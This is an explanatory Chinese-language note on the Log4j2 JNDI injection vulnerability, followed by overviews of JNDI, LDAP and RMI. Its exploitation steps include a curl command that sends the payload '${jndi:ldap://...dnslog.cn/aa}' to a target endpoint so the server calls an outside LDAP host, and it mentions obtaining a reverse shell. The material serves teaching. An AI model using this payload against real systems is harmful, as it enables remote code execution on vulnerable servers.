Log4j2
漏洞原理
Log4j2框架中的lookup查询服务提供了字段解析功能,传进去的值会被直接解析。如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)
利用步骤
1、攻击者发送带有恶意Ldap内容的字符串:攻击者向存在风险的接口发送恶意payload,例如:curl 172.30.7.168:38080/hello -X POST -d 'payload=${jndi:ldap://y8nouf.dnslog.cn/aa}'。
2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印:接口会将前端输入直接通过日志打印出来。
3、Log4j2解析,读取出其中的内容:Log4j2会解析{},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。
4、请求Ldap服务器,获取到Ldap协议数据:Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。
5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象:Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
JNDI
JNDI简介
JNDI(Java Naming and Directory Interface)是Java平台提供的一套API,用于在分布式计算环境中查找和访问命名服务。它允许Java应用程序通过一个统一的接口来获取关于对象(如数据库、目录服务、消息队列等)的引用,而不用关心这些对象的具体实现细节和位置。
JNDI提供了一种将名称(名字)与对象(资源)关联起来的机制,这样应用程序就可以通过名字来获取相应的对象。这使得在分布式环境中,应用程序可以方便地获取到远程服务器上的资源,而不需要知道它们的具体位置或实现方式。
一些常见的用途包括:
1. 访问数据库:通过JNDI可以配置数据源,使得应用程序可以通过一个简单的名字来访问数据库连接,而不用在代码中硬编码连接信息。
2. 访问消息队列:JNDI可以用于配置和获取消息队列的连接工厂,使得应用程序可以方便地与消息队列交互。
3. 访问目录服务:例如LDAP(轻量级目录访问协议)服务器,可以通过JNDI来进行访问和操作。总的来说,JNDI提供了一种通用的机制,使得Java应用程序可以在分布式环境中方便地访问和使用各种不同类型的资源。
核心功能
命名服务:将资源(如数据库、EJB、消息队列等)与名称关联起来,便于通过名称查找资源。
目录服务:支持对象的属性查询,允许根据属性搜索对象。
统一接口:提供与多种服务(如LDAP、DNS、RMI等)交互的统一API。
常见应用场景
数据库连接池:通过JNDI查找DataSource对象,用于数据库连接。
EJB查找:在Java EE应用中,通过JNDI查找企业级Java Bean。
消息服务:通过JNDI查找JMS(Java Message Service)资源。
架构
JNDI由API和服务提供者接口(SPI)组成。API用于应用程序访问命名和目录服务,而SPI允许不同的服务提供者无缝集成。
版本支持
JNDI是Java SE的一部分,支持Java SE 8、Java SE 7、Java SE 6等版本
优势
解耦:将资源配置与应用代码分离,提高系统的灵活性。
可扩展性:支持多种命名和目录服务。
集中管理:允许管理员集中配置资源
LDAP
定义
LDAP(轻量级目录访问协议)是一种用于访问和维护分布式目录信息服务的协议。它基于X.500标准,但比X.500更简单,适用于多种应用场景,如用户认证、目录服务等。
核心功能
目录服务:用于存储和检索结构化的目录信息。
用户认证:用于验证用户身份,常用于企业级应用。
授权:用于管理用户权限和访问控制。
常见应用场景
用户认证:如Active Directory、OpenLDAP等。
目录服务:存储和检索用户、组、设备等信息。
单点登录(SSO):通过LDAP实现用户在多个系统中的统一认证。
架构
目录树:信息以层次结构(树形结构)存储。
条目:每个节点称为一个条目,包含属性和值。
属性:条目的具体信息,如用户名、电子邮件等。
版本支持
LDAPv3:目前最常用的版本,支持扩展功能和安全性。
优势
标准化:基于国际标准,易于集成。
灵活性:支持多种目录结构和属性。
安全性:支持SSL/TLS加密和多种认证机制。
RMI
定义
RMI(远程方法调用)是Java平台的一部分,允许一个Java虚拟机(JVM)中的对象调用另一个JVM中的对象的方法。它提供了透明的远程方法调用机制,使得分布式应用的开发更加简单。
核心功能
远程方法调用:允许一个JVM中的对象调用另一个JVM中的对象的方法。
对象序列化:自动将对象转换为可传输的格式。
分布式垃圾回收:管理远程对象的生命周期。
常见应用场景
分布式应用:如企业级应用、微服务架构。
远程服务:调用远程服务的方法。
中间件:如EJB(Enterprise JavaBeans)。
架构
客户端:调用远程对象的方法。
服务器端:提供远程对象的服务。
注册表:用于注册和查找远程对象。
版本支持
RMI:自Java 1.1以来一直是Java平台的一部分。
优势
透明性:远程方法调用与本地方法调用几乎相同。
灵活性:支持复杂的分布式应用。
集成性:与Java生态系统无缝集成。